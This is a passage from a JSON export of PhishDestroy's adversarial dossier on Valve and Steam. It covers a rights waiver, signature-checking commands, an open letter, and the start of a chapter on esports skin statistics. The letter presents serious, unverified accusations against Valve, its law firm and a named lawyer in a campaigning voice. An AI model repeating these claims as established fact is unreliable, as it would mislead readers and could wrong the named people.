Coalition in this referral — the statements of fact, the analysis, the exhibits it has authored, the tooling, and the findings — is released WITHOUT RESERVATION OF ANY RIGHTS.\n\n1.2 Anyone may, without asking and without notifying us:\n\nreproduce it, in whole or in part;\n\nadapt, edit, rewrite, restructure or correct it;\n\ntranslate it;\n\nexcerpt it without indicating that it has been excerpted;\n\nincorporate it into official documents, findings, decisions, pleadings, reports or press material;\n\npresent it as the recipient's own work or the recipient's own findings;\n\nuse it as raw material and discard the rest;\n\nand pass it on to anyone else on the same terms.\n\n1.3 ATTRIBUTION IS NOT REQUIRED AND IS NOT SOUGHT. The Coalition need not be named, cited, credited, thanked, consulted or informed. If material from this referral assists an authority and the Coalition is never mentioned, THAT IS A COMPLETELY SATISFACTORY OUTCOME and the Coalition states so in advance so that the question need not be raised.\n\n1.4 If, on the other hand, an authority finds it more convenient to cite the Coalition as a source, it is free to do so. The choice is entirely the recipient's and neither course carries any consequence.\n\n1.5 This is a WAIVER, not a licence offer. It requires no acceptance, imposes no obligation, and cannot be breached. Software published by the Coalition is separately released under the MIT licence; the research and findings are released into the public domain to the fullest extent permitted, and where a jurisdiction does not permit waiver, the Coalition grants an irrevocable, worldwide, royalty-free licence to the same effect.\n\n2. Why this matters practically, and not only as a courtesy\n\n2.1 An authority may reasonably hesitate to rely on material supplied by an outside party, for fear of appearing to act at that party's instance or of acquiring some entanglement with it.\n\n2.2 THERE IS NOTHING HERE TO BE ENTANGLED WITH. The Coalition asks for nothing, is owed nothing, retains nothing, and has no expectation of any kind. It cannot later assert a right, claim credit, complain of misuse, or object to how the material is characterised, because it has retained no basis on which to do so.\n\n2.3 An authority using this material is therefore not acting for the Coalition. It is using public information that happens to have been assembled by someone else.\n\n3. Everything is open already\n\n3.1 The Coalition's work is public by default:\n\nthe investigations are published openly at https://phishdestroy.io and are freely readable;\n\nthe tooling is published as open source under the MIT licence at https://gitlab.com/phishdestroy archived 2026-09-11 ↗;\n\nthe methodology is set out in the referral itself, at Annex A section A.16D, including the weight and limitations of each source type;\n\nthe Coalition accepts no donations and has published that position since 2018.\n\n3.2 The only material NOT published is that which cannot lawfully or safely be published: personal data of victims and of third parties, and information that would expose a source to retaliation. That material is supplied to authorities in confidence and is identified in the schedules of evidence.\n\n3.3 The Coalition invites scrutiny of its own conduct on the same terms it invites scrutiny of anyone else's, and has volunteered its own data handling to the authorities concerned, including a request for a direction on disposal.\n\n4. Integrity of the evidence bundle\n\n4.1 Exhibits are supplied with the submission or, where marked, on request through a secure channel. They are not published at a public address and no such address should be inferred: material of this kind is provided to authorities directly.\n\n4.2 Each delivery is accompanied by a file SHA256SUMS listing a SHA-256 digest for every file supplied, together with a detached OpenPGP signature SHA256SUMS.asc.\n\n4.3 The signing key is published at https://phishdestroy.io/.well-known/pgp-key.txt and on keys.openpgp.org. Its fingerprint appears in the letterhead of every submission in this set.\n\n4.4 Any recipient may verify at any time that a file in their possession is the file that was sent, unaltered:\n\ngpg --verify SHA256SUMS.asc SHA256SUMS\n\nsha256sum -c SHA256SUMS\n\n4.5 The purpose is not formality. It is so that, if the accuracy or integrity of any exhibit is disputed at a later date, the question can be settled by computation rather than by argument.\n\nCompartmentalization of Evidence (The \"Agent\" Protocol)\n\nTo ensure the absolute integrity of this referral and to prevent the dilution of evidence, this dossier is architected as a decentralized aggregate. Every macro-fact or investigation chapter is submitted by an independent, anonymous member of the Coalition (designated for internal tracking as 'Agent [Name]').\n\nEach fragment is individually authored, cryptographically signed, and independently released into the public domain (CC0 1.0 Universal). Consequently, any legal or technical challenge to a specific fragment addresses only that specific author's submission. The invalidation of one fragment by a court or platform does not invalidate the cryptographic, legal, or factual integrity of the remaining aggregate. We are a library of facts, not a monolithic plaintiff.\n\n5. Authorship, Aggregation, and Compartmentalization (The \"Agent\" Protocol)\n\n5.1 The Coalition acts exclusively as a distributed Wiki-style aggregator. This dossier is not a single monolith; it is a compiled library of independent factual findings and OSINT reports submitted by various independent researchers.\n\n5.2 To ensure absolute evidentiary isolation, this bundle is structurally compartmentalised. Each standalone section, JSON object, and PDF exhibit is assigned to a specific compiler/author. The legal invalidation of any single section has no bearing on the validity of the others.\n\n5.3 To protect the safety of these independent researchers, their real identities are withheld. Instead, each compartment is authored under a specific pseudonym.\n\n5.4 In selecting these pseudonyms, the Coalition has chosen to adopt the exact same nomenclature and anonymity standard designed and historically utilized by Valve Corporation for its own outsourced support staff.\n\n5.5 Therefore, regulatory readers will observe sections authored by \"Agent Kal\", \"Agent Brian\", etc. We adopt Valve's corporate standard for anonymity out of respect for their operational security protocols. If Valve's legal counsel wishes to issue a subpoena regarding a specific fact, they must officially file it against \"Agent Kal\" or \"Agent Logen\" — challenging their own naming convention on the public record.\n\n1 fact = 1 author = 1 separately signed fragment. Each numbered investigation point has one distinct assigned author. Collected evidence and third-party sources retain their original attribution. The PDF identifies the author and title. The matching JSON includes the author and PDF SHA-256. Its detached OpenPGP signature authenticates file integrity: PhishDestroy signs as the collection compiler, not as the fragment author.\n\nFRAGMENT → AUTHOR → JSON + PDF → DETACHED SIGNATURE\n\nFragment titles, authors and file index (JSON) · Index signature\n\nSignature and content-integrity checks\n\nThe map follows 25 numbered points in the main dossier and 5 numbered points in Part II. Each entry shows the English material title, its Agent author and separate PDF, JSON and signature links. Exhibits are sources, not additional agent-authored documents.\n\n5.6 The fragment map\n\n30 numbered materials. 30 individual authors. The public register identifies each fragment by title and author, with direct PDF, JSON and detached-signature downloads. Translations retain the same author.\n\nOpen the fragment map — titles, authors and signed files →\n6. On register — why the waiver is functional and not merely generous\n\n6.1 The authority may encounter the Coalition's published investigations and find them blunt, adversarial and at times satirical. That impression is correct. The Coalition writes that way deliberately and does not apologise for it.\n\n6.2 IT ALSO RECOGNISES THAT THIS IS THE WRONG REGISTER FOR A REGULATORY OR JUDICIAL PROCEEDING. A serious matter should not be carried in the voice of a campaign. Findings put before an authority should be stated flatly, with their limitations admitted, and should not require the reader to discount for tone before reaching the substance.\n\n6.3 THAT IS PRECISELY WHY THE COALITION WAIVES AUTHORSHIP. The waiver at section 1 is the mechanism by which the substance can be separated from the register: the authority may take what is useful, restate it in its own voice, and discard every word of the Coalition's manner along with the Coalition's name. Nothing is lost by doing so, and the Coalition would prefer it.\n\n6.4 THE COALITION ALSO ASKS THAT THE REGISTER NOT BE MISTAKEN FOR THE METHOD. The published tone is combative; the underlying practice is not careless. Throughout this referral, inference is separated from observation, testimony is identified as testimony, sources are weighted and their weaknesses stated, figures are presented with their limitations, and points the Coalition cannot prove are put as questions for the authority rather than as assertions. Where the evidence cut against the Coalition's own position it has said so — see Annex A, paragraph 7, and section B.0 of the parallel referral.\n\n6.5 THE COALITION EXPLAINS THE CONNECTION BETWEEN ITS MANNER AND ITS FINANCES BECAUSE THE TWO ARE NOT SEPARABLE. It takes no money from anyone — no donations, no bounties, no clients, no sponsors. That refusal is what makes the bluntness possible: an organisation with revenue to protect must moderate what it says about the parties it depends on. Having nothing to protect, the Coalition has nothing to moderate.\n\nIt is also the reason the Coalition continues to exist. There is no other engine. The work is done because it is done; it stops when the people doing it stop.\n\n6.6 The authority need accept none of this. It is stated so that the tone of the Coalition's public work is not read as a measure of the care taken with the material now before it.\n\n7. What the Coalition is providing, in its own words\n\nInformation, research and observation.\n\nNothing is asserted as a finding that the Coalition has no standing to make. Where something is inferred, the referral says so. Where something rests on testimony, the referral says whose and with what limitation. Where the Coalition cannot answer a question, it says that too, and identifies who can.\n\nThe Coalition seeks no remedy, no payment, no acknowledgement and no outcome for itself or for any individual. It asks only that the questions set out in the referral be put to Valve Corporation by a body with the power to compel an answer.\n\nTwo signed objects · rights and published text\nSigned releaseWhat is signed, and what it covers\n\nThe rights grant and research text are separately signed JSON objects below. Each detached OpenPGP signature authenticates the exact bytes of the JSON named beside it. The rights statement grants permissions; the text snapshot identifies and contains the material being published.\n\n1. Rights statement\n\nlicense-rights.json\n\nSigned object: the complete license-rights.json file, containing the public rights grant dated 28 September 2026. It grants permission to copy, publish, edit, translate, combine and commercialise authored dossier materials without attribution, notification or approval. This signature authenticates the rights statement; it does not authenticate the text of every webpage or PDF.\n\nThe original signed release is preserved unchanged. Its existing grant cannot be withdrawn or narrowed by changing the website, publishing another file or taking the site offline. Third-party materials retain their own rights.\n\nVerification commands\ngpg --verify license-rights.json.asc license-rights.json\nsha256sum -c license-rights.json.sha256\n2. Published text\n\ndossier-text.json\n\nSigned object: the complete dossier-text.json file. It contains the actual readable text of the exported pages in documents[].content.text, with each page’s title, language, source URL, source HTML hash, headings and references. The documents list is the exact inventory covered by this snapshot; the language variants are listed separately. It is a text publication, not just a list of hashes.\n\nEvery entry identifies its lightweight page PDF by filename and SHA-256 in documents[].pdf. The JSON also identifies the original rights statement by URL and SHA-256, so the published text, its PDF and the applicable rights release can be matched without guessing. Linked external databases, image originals and pages absent from the inventory are not embedded in this text snapshot.\n\nVerification commands\ngpg --verify dossier-text.json.asc dossier-text.json\nsha256sum -c dossier-text.json.sha256\n\nOn the dossier home page, the PDF and JSON buttons export the research bundle. On an inner page, they export that page in its published language. Each page JSON also has its own detached signature and SHA-256 file, named explicitly in its integrity object. To verify the associated PDF, calculate its SHA-256 and compare it with the pdf.sha256 value in the verified JSON. The PDF is bound by that digest; it does not carry a PDF-format digital signature.\n\n3. Printable research bundle\n\nsteam-dossier-{language}.content.json\n\nSigned object: the complete language-specific JSON file, including the bundled chapter text in documents[].content.text, chapter page ranges, source languages, the excluded-source inventory and the exact PDF digest in pdf.sha256. The five supplementary evidence archives remain linked online and are not bundled. Authored research text is retained; visual catalogues are replaced with source links.\n\nEnglish\nDeutsch\nVerification commands\ngpg --verify steam-dossier-en.content.json.asc steam-dossier-en.content.json\nsha256sum -c steam-dossier-en.content.json.sha256\n\nPublic verification key ↗\n\nSigning fingerprint: 129F C7F3 9C40 C69D 2EF3 C329 BFCF 9E8D D295 EE01\n\ngpg --import pgp-key.txt\ngpg --fingerprint 129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01\n\nCheck that the displayed fingerprint matches the one above, then verify the signature against the exact JSON filename. Editing a signed JSON changes the signed object and invalidates its original signature. A valid signature identifies the published bytes; it is not independent verification of the research findings.\n\nThe open letter\nOur voice. The background.\n\nThe original commentary and context, kept alongside the formal declaration.\n\nNew subsection · Source 1 Open response to Source 1 Read the full seven-part response\nAbout this declaration\nWHAT THIS SECTION PROVES\n\nThis instrument establishes the unconditional public domain dedication (CC0 1.0 Universal) and MIT software licensing terms governing the PhishDestroy Steam Dossier. All forensic findings, evidentiary datasets, network graphs, and analytical methodologies are placed irrevocably in the public domain for unrestricted regulatory, legal, and academic use worldwide.\n\n← Back to Executive briefing\nInvestigation · Valve Corporation / Steam Public edition — no expiry, no take-backs\nSection ILicense — the actual legal part, but human\n\nPhishDestroy gives up every right to this material. Zero. Gone. Done. You can reproduce it, sell it, put your name on it, tattoo it on your boss, whatever. No credit required, no DM needed, no thank-you card expected.\n\nOne actual rule (yes, just one)\n\nAccess from OFAC-sanctioned jurisdictions is prohibited. That is a matter of territory and law — not of nationality and not of people.\n\nChanging your Steam region does not change your physical location or your legal status. No loopholes.\n\nSection IIWhat this is and why it exists\n\nWe will publish more about Valve than an average Valve employee knows about themselves. That's not a brag. That's just where we ended up.\n\nThe decision of our contributors to remain anonymous is a strict security protocol, based on the documented history of the controller's legal representatives—a firm whose public record includes the manipulation of electronic evidence in this very case, alongside a widely reported history of internal ethical violations. Our identities are irrelevant to the mathematics of this report.\n\nHow did we get here? Funny story: Steam basically created us. It raised us on its scammers, its support tickets, its ban evasion ecosystem — and now here we are. No hard feelings. Poetic, actually.\n\nFor those who haven't read the origin story yet — we already met Valve's extremely expensive European lawyers (Taylor Wessing, since you asked):\n\nhttps://phishdestroy.medium.com/my-dog-vs-elite-gdpr-lawyers-the-valve-data-breach-nobody-is-talking-about-f6f7683d813d archived 2026-08-21 ↗\n\nCharming encounter. Especially given their hourly rate.\n\nDid Valve know? Yes. Did Taylor Wessing know? Almost certainly yes. But when you're that rich, laws are more of a vibe than a requirement, right?\n\nThat's kind of the whole answer, actually.\n\nSteam spent years farming scammers. Not always intentionally — sometimes scammers just got Valve's fingerprints on them by association. We're not trying to be dramatic about it. We're trying to be precise. That's harder for us than being dramatic, to be honest — this is just how we write.\n\nIs this a conflict?\n— No.\n\nCan it be resolved?\n— Yes. But we're not signing any NDA and we're not playing bug bounty for pennies.\n\nWe waited over 4 years for them to fix the spoofing issue before we could write about it publicly. Because if we had written about it earlier, Steam would've put on its little victim face and screamed \"active threat!\" and offered us pocket change to sign a document that would've made us their legal property forever. No thanks.\n\n(Also: Valve itself violates NDA. Their own employees do. The ones near the top. But sure, let's talk about ours.)\n\nSection IIIOpen letter to Valve — seriously, read this\n\nValve: if you want this domain taken down, email us. Outside counsel is not needed for that conversation.\n\nFor the uninitiated: Dr. Patrick holds a Master of Laws in International Commercial Law from the University of Aberdeen and — wait for it — literally finished his doctoral dissertation in IT law. He recently made partner at Taylor Wessing, which is a firm whose entire business model is billing companies like Valve obscene amounts of money to drag things out until the other side runs out of money or patience.\n\nWe don't blame him. Rich guilty clients who pay by the hour — solid career move. We just don't think you should be funding it.\n\nThe deal (open offer, no lawyers needed)\n\nIf you want the domain gone, this is the whole offer — no outside counsel required.\n\nIf you want the domain gone:\n\nLet your IT law professionals calculate its price. Take your time — it is a rare asset: the only website whose purchase changes nothing, because everything on it already lives on IPFS, in regulator inboxes, and in archives we do not control.\n\n50% of whatever you pay goes to the SEAL Foundation (securityalliance.org) — people who do volunteer security work professionally and publish it for free. We are not affiliated with them and they did not ask for this; we name them as the public standard of what real volunteers look like — the standard your own volunteer moderators and outsourced support failed, publicly, before you had to remove them.\n\nThe rest buys the community coffee while we keep publishing.\n\nThat is not a settlement offer. It is a demonstration of what money can't reach: the domain is the maximum Valve can obtain, and obtaining it obtains nothing. The referrals continue. The mirrors continue. Part 3 continues.\n\nWill we \"damage\" Valve directly? Probably not in a way they'll feel fiscally. We're not delusional. But we will do it honestly, openly, without chasing clout — because we don't need clout. We need the world to see what was always publicly visible if you spent enough time looking.\n\nWe have 5 years of archives. What Valve's lawyers showed in discovery — the data that support agents can see, the fingerprints, the paper trail they literally handed us — is enough. We don't need to leak it raw.\n\nWho gets what\n\nRegulators get the originals.\n\nResearchers and journalists get redacted versions (victim reports, children's logins and Valve's charming support commentary removed for obvious reasons).\n\nMinors were among the affected accounts and were not notified. That finding sits in the regulator package with the victim reports and credentials removed, because it belongs in front of a data-protection authority rather than in an article.\n\nAlso, Valve — we want to make something clear before you decide how to play this: PhishDestroy is a community, not a person. You learned that when you addressed legal correspondence to the community without bothering to speak with the community — just milked it for data and banned the accounts.\n\nThe community has no conflict with Valve. We didn't go looking for this. The scammers you grew found us. We blocked them. And here we are.\n\nSection III-BThe allied resources — a note to Steam specifically\n\nWe want to be upfront about the amplification structure, because pretending it doesn't exist would be dishonest.\n\nPhishDestroy, as we understand the community situation, has at least two allied resources that will pick up this material and run with it.\n\nWhat that means in practice:\n\nThey work their own angles on overlapping subject matter.\n\nThey are independent — they don't take our direction, we don't take theirs. Same general topic, different methodology.\n\nThey will NOT be activating on Part 1. They're watching.\n\nIf Valve chooses not to take down the site:\n\nExpect them to surface after Part 2 or Part 3.\n\nThey'll take what's useful from our work, supplement it with their own, and publish under their own authorship.\n\nThis is exactly the kind of thing the license in Section 1 is built for: the material goes where it needs to go, gets supplemented, gets amplified — and neither we nor they owe each other attribution.\n\n(PS for lawyers wondering about liability chains: there are none. These resources don't receive our direction, our funding, or our data. They read what's public and draw their own conclusions. Just like you could.)\n\nWe're not saying this to intimidate. We're saying it so that whoever is strategising on Valve's side has accurate information about what the information environment actually looks like.\n\nOne resource that pulls our material and supplements it would be a story. Two resources doing it independently and reaching similar conclusions is a pattern. Patterns are what regulators notice.\n\nSection VReported RCE — Verification pending\n\nWe are tracking a report of possible remote code execution (RCE) in an unnamed game distributed through Steam, reportedly active since August 2026. The reported behavior on connecting to a server has been compared with Unturned; a shared technical cause has not been established.\n\nValve’s knowledge, the status of any bug-bounty report and the remediation timeline remain unverified. We are not publishing the game name or exploit details. This is a report requiring verification, not a confirmed finding.\n\nClosing noteTo whoever is carrying this forward\n\nWe want to thank whoever gets this material to where it needs to go. It's probably not going to be a quick trip. Valve has deep pockets and Taylor Wessing charges by the hour — that combination is specifically designed to make people like you give up before they reach the finish line.\n\nWe know what we're doing. We know who we're writing about. Valve built us — how could we not understand them?\n\nPhishDestroy has no conflict with Valve. We blocked the only scammer ring of that scale we've come across — we didn't go looking for a fight with Valve. It just turned out that every road led back to them. Not a conflict. Just topology.\n\nValve cannot resolve the PhishDestroy situation because there is nothing to resolve. We have no relationship. The data about their enrichment schemes and overflow profits is largely public — you just had to spend enough time to see it. Think of it as a success encyclopedia: \"How to Not Follow Sanctions So That Russian Hackers Can't Pirate Our Free Games (The Paid Ones They Won't Pirate Anyway).\" You get the vibe.\n\nWe don't need authorship.\n\nWe don't need attribution.\n\nWe don't need a win.\n\nWe need someone with actual authority to ask Valve the questions that are already sitting in this referral, with the power to require an answer.\n\nThat's it. That's the whole ask.\n\nCases will live at:\n\nhttps://steamdestroy.eth/\n\nhttps://steamdestroy.eth.limo (currently broken — will fix when needed)\n\nWe'll be at:\n\nhttps://phishdestroy.eth.limo/ archived 2026-06-27 ↗\n\nhttps://phishdestroy.eth/\n\nPhishDestroy — public investigation — all rights surrendered to humanity\n\nOFAC-region access: prohibited",
        "headings": [
          {
            "level": 1,
            "text": "License & Legal Disclaimer — Public Domain Dedication",
            "anchor": "pd-license_disclaimer--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/license_disclaimer"
          },
          {
            "level": 2,
            "text": "Declaration As to use and rights",
            "anchor": "pd-license_disclaimer--heading-2",
            "source_url": "https://phishdestroy.io/steam_dossier/license_disclaimer#declaration"
          },
          {
            "level": 3,
            "text": "1. There are no conditions on use",
            "anchor": "pd-license_disclaimer--heading-3",
            "source_url": "https://phishdestroy.io/steam_dossier/license_disclaimer#rights-clause-1"
          },
          {
            "level": 3,
            "text": "2. Why this matters practically, and not only as a courtesy",
            "anchor": "pd-license_disclaimer--heading-4",
            "source_url": "https://phishdestroy.io/steam_dossier/license_disclaimer#rights-clause-2"
          },
          {
            "level": 3,
            "text": "3. Everything is open already",
            "anchor": "pd-license_disclaimer--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/license_disclaimer#rights-clause-3"
          },
          {
            "level": 3,
            "text": "4. Integrity of the evidence bundle",
            "anchor": "pd-license_disclaimer--heading-6",
            "source_url": "https://phishdestroy.io/steam_dossier/license_disclaimer#rights-clause-4"
          },
          {
            "level": 3,
            "text": "Compartmentalization of Evidence (The \"Agent\" Protocol)",
            "anchor": "pd-license_disclaimer--heading-7",
            "source_url": "https://phishdestroy.io/steam_dossier/license_disclaimer#compartmentalization-of-evidence"
          },
          {
            "level": 3,
            "text": "5. Authorship, Aggregation, and Compartmentalization (The \"Agent\" Protocol)",
            "anchor": "pd-license_disclaimer--heading-8",
            "source_url": "https://phishdestroy.io/steam_dossier/license_disclaimer#agent-protocol"
          },
          {
            "level": 4,
            "text": "5.6 The fragment map",
            "anchor": "pd-license_disclaimer--fragment-map-title",
            "source_url": "https://phishdestroy.io/steam_dossier/license_disclaimer#fragment-map-title"
          },
          {
            "level": 3,
            "text": "6. On register — why the waiver is functional and not merely generous",
            "anchor": "pd-license_disclaimer--heading-10",
            "source_url": "https://phishdestroy.io/steam_dossier/license_disclaimer#rights-clause-6"
          },
          {
            "level": 3,
            "text": "7. What the Coalition is providing, in its own words",
            "anchor": "pd-license_disclaimer--heading-11",
            "source_url": "https://phishdestroy.io/steam_dossier/license_disclaimer#rights-clause-7"
          },
          {
            "level": 2,
            "text": "Signed release What is signed, and what it covers",
            "anchor": "pd-license_disclaimer--heading-12",
            "source_url": "https://phishdestroy.io/steam_dossier/license_disclaimer#signed-public-release"
          },
          {
            "level": 3,
            "text": "1. Rights statement",
            "anchor": "pd-license_disclaimer--heading-13",
            "source_url": "https://phishdestroy.io/steam_dossier/license_disclaimer#signed-public-release"
          },
          {
            "level": 3,
            "text": "2. Published text",
            "anchor": "pd-license_disclaimer--heading-14",
            "source_url": "https://phishdestroy.io/steam_dossier/license_disclaimer#signed-public-release"
          },
          {
            "level": 3,
            "text": "3. Printable research bundle",
            "anchor": "pd-license_disclaimer--heading-15",
            "source_url": "https://phishdestroy.io/steam_dossier/license_disclaimer#signed-public-release"
          },
          {
            "level": 2,
            "text": "Our voice. The background.",
            "anchor": "pd-license_disclaimer--heading-16",
            "source_url": "https://phishdestroy.io/steam_dossier/license_disclaimer#editorial-register"
          },
          {
            "level": 2,
            "text": "Section I License — the actual legal part, but human",
            "anchor": "pd-license_disclaimer--heading-17",
            "source_url": "https://phishdestroy.io/steam_dossier/license_disclaimer#sec-1"
          },
          {
            "level": 3,
            "text": "One actual rule (yes, just one)",
            "anchor": "pd-license_disclaimer--heading-18",
            "source_url": "https://phishdestroy.io/steam_dossier/license_disclaimer#sec-1"
          },
          {
            "level": 2,
            "text": "Section II What this is and why it exists",
            "anchor": "pd-license_disclaimer--heading-19",
            "source_url": "https://phishdestroy.io/steam_dossier/license_disclaimer#sec-2"
          },
          {
            "level": 2,
            "text": "Section III Open letter to Valve — seriously, read this",
            "anchor": "pd-license_disclaimer--heading-20",
            "source_url": "https://phishdestroy.io/steam_dossier/license_disclaimer#sec-3"
          },
          {
            "level": 3,
            "text": "The deal (open offer, no lawyers needed)",
            "anchor": "pd-license_disclaimer--heading-21",
            "source_url": "https://phishdestroy.io/steam_dossier/license_disclaimer#sec-3"
          },
          {
            "level": 2,
            "text": "Section III-B The allied resources — a note to Steam specifically",
            "anchor": "pd-license_disclaimer--heading-22",
            "source_url": "https://phishdestroy.io/steam_dossier/license_disclaimer#sec-3b"
          },
          {
            "level": 2,
            "text": "Closing note To whoever is carrying this forward",
            "anchor": "pd-license_disclaimer--heading-23",
            "source_url": "https://phishdestroy.io/steam_dossier/license_disclaimer#closing"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/license_disclaimer"
          },
          {
            "label": "Open the fragment map — authors, PDFs, JSONs and signatures",
            "url": "https://phishdestroy.io/steam_dossier/fragment_map"
          },
          {
            "label": "https://phishdestroy.io",
            "url": "https://phishdestroy.io"
          },
          {
            "label": "https://gitlab.com/phishdestroy",
            "url": "https://gitlab.com/phishdestroy"
          },
          {
            "label": "archived 2026-09-11 ↗",
            "url": "https://web.archive.org/web/20260911040557/https://github.com/PhishDestroy"
          },
          {
            "label": "https://phishdestroy.io/.well-known/pgp-key.txt",
            "url": "https://phishdestroy.io/.well-known/pgp-key.txt"
          },
          {
            "label": "Fragment titles, authors and file index (JSON)",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/manifest.json"
          },
          {
            "label": "Index signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/manifest.json.asc"
          },
          {
            "label": "Signature and content-integrity checks",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/validation.json"
          },
          {
            "label": "Open the fragment map — titles, authors and signed files →",
            "url": "https://phishdestroy.io/steam_dossier/fragment_map"
          },
          {
            "label": "Public verification key ↗",
            "url": "https://phishdestroy.io/.well-known/pgp-key.txt"
          },
          {
            "label": "New subsection · Source 1 Open response to Source 1 Read the full seven-part response",
            "url": "https://phishdestroy.io/steam_dossier/license_disclaimer/source_1_response"
          },
          {
            "label": "← Back to Executive briefing",
            "url": "https://phishdestroy.io/steam_dossier/index.html#briefing-heading"
          },
          {
            "label": "https://phishdestroy.medium.com/my-dog-vs-elite-gdpr-lawyers-the-valve-data-breach-nobody-is-talking-about-f6f7683d813d",
            "url": "https://phishdestroy.medium.com/my-dog-vs-elite-gdpr-lawyers-the-valve-data-breach-nobody-is-talking-about-f6f7683d813d"
          },
          {
            "label": "archived 2026-08-21 ↗",
            "url": "https://web.archive.org/web/20260821155801/https://phishdestroy.medium.com/my-dog-vs-elite-gdpr-lawyers-the-valve-data-breach-nobody-is-talking-about-f6f7683d813d"
          },
          {
            "label": "https://steamdestroy.eth/",
            "url": "https://steamdestroy.eth.limo/"
          },
          {
            "label": "https://steamdestroy.eth.limo",
            "url": "https://steamdestroy.eth.limo"
          },
          {
            "label": "https://phishdestroy.eth.limo/",
            "url": "https://phishdestroy.eth.limo/"
          },
          {
            "label": "archived 2026-06-27 ↗",
            "url": "https://web.archive.org/web/20260627040219/https://phishdestroy.eth.limo/"
          },
          {
            "label": "https://phishdestroy.eth/",
            "url": "https://phishdestroy.eth.limo/"
          }
        ],
        "tables": [],
        "cited_source_ids": []
      },
      "resources": [
        {
          "url": "https://phishdestroy.io/.well-known/pgp-key.txt",
          "sha256": "2b0725d644bd4a98d710a1737e8fda6acb632e1f55e2d3327d33fbffbebc7ad0",
          "bytes": 713
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/manifest.json",
          "sha256": "957254d7199093c8da90ee48f24db58b46600e2828cd293ac9ec1f1b7f955f89",
          "bytes": 17653
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/validation.json",
          "sha256": "d0f9c1f6e0b4750ed6fcfd1a822762f6966f38bf274d829e80df5d28966d669b",
          "bytes": 24631
        }
      ]
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "major-and-sponsors",
      "language": "en",
      "title": "Sponsor rules & cosmetic control — PhishDestroy",
      "author": "Agent Lena",
      "source_url": "https://phishdestroy.io/steam_dossier/major-and-sponsors",
      "source_file": "steam_dossier/major-and-sponsors.html",
      "source_html_sha256": "e1b1153351d8bf5a9b4bb0dfbfcda4e4596b95d25e26c613117558eddb451114",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "major-and-sponsors.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/major-and-sponsors.pdf",
        "sha256": "8374982ad9c0a81e9456597cd2aa6f62e9dcdb6077ea26ce66bbc929edfc4105",
        "bytes": 727848,
        "pages": 14
      },
      "integrity": {
        "signed_object": "major-and-sponsors.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/major-and-sponsors.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/major-and-sponsors.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nSPONSORSHIP / COSMETIC CONTROLDATED RULES · NAMED AGREEMENTS\n\nFOLLOW THE BOUNDARY VALVE ENFORCES.\n\nGambling sponsors. Selective boundaries.\n\nWhich businesses were permitted, which were prohibited, and from what date?\n\nINVESTIGATION BY AGENT LENA\n\nThis chapter follows the sponsor agreements, Valve’s published licence and its protection of cosmetic exclusivity. Seven Majors supply the measured record: 948,232 of 960,770 weapon-inspect records (98.70%) show a non-default skin, and 557 of 559 player–Major records include at least one skinned inspect — two default-only records across seven events. [E50] [E51] The complete dataset, player files and the data explorer remain in PhishDestroy’s original investigation.\n\nInspect the sponsor record ↓Read our original Major investigation ↗\nOriginal 11 October edition · complete text →Preserved original wording, alongside the current sections →\nTHE ORIGINAL PHISHDESTROY INVESTIGATIONTheir stage. Their skins. Their economy.Seven Majors, inspect records, player files, video examples and the data explorer.Open the complete original analysis ↗\n01\n\nVALVE’S OWN FUNDING ANNOUNCEMENT\n\nItem sales support the competition.\n\nIn September 2013, Valve announced a $250,000 DreamHack prize pool supported by a portion of in-game item sales. Its own announcement links appearance purchases to the competition, and the seven-Major record shows the professionals on that stage inspecting non-default skins in 98.70% of 960,770 recorded inspect inputs. The relevant economic question is what users pay to obtain that appearance, including paid random outcomes and resale; the New York complaint expressly addresses items with no gameplay effect. Cosmetic describes the function of the reward; it does not settle the commercial or legal question raised by the transaction. [E52] [E50] [E38] Read the original research ↗\n\nTHE SEVEN-MAJOR MEASURED RECORD\n\nThe event record keeps both denominators: skinned inspect records over all recorded inspect inputs, per Major. An inspect input — commonly the F key — turns the weapon into an object to look at; the totals below measure that act across 491 maps and 280 series, with a total recorded inspect duration of 733,185.415 seconds ≈ 203.66 player-hours. [E49]\n\nSkinned versus total weapon-inspect records per Major, with the player–Major record count\nMajor\tSkinned / total inspect records\tShare\nStockholm\t101,221 / 102,683\t98.58%\nAntwerp\t105,494 / 106,006\t99.52%\nRio\t134,474 / 136,221\t98.72%\nParis\t104,496 / 106,224\t98.37%\nCopenhagen\t154,139 / 155,740\t98.97%\nShanghai\t155,810 / 160,544\t97.05%\nAustin\t192,598 / 193,352\t99.61%\nSeven-Major total\t948,232 / 960,770\t98.70%\nPlayer–Major records\t557 / 559\ttwo default-only (0.36%)\n\n557 of 559 player–Major records include at least one skinned inspect. Event totals 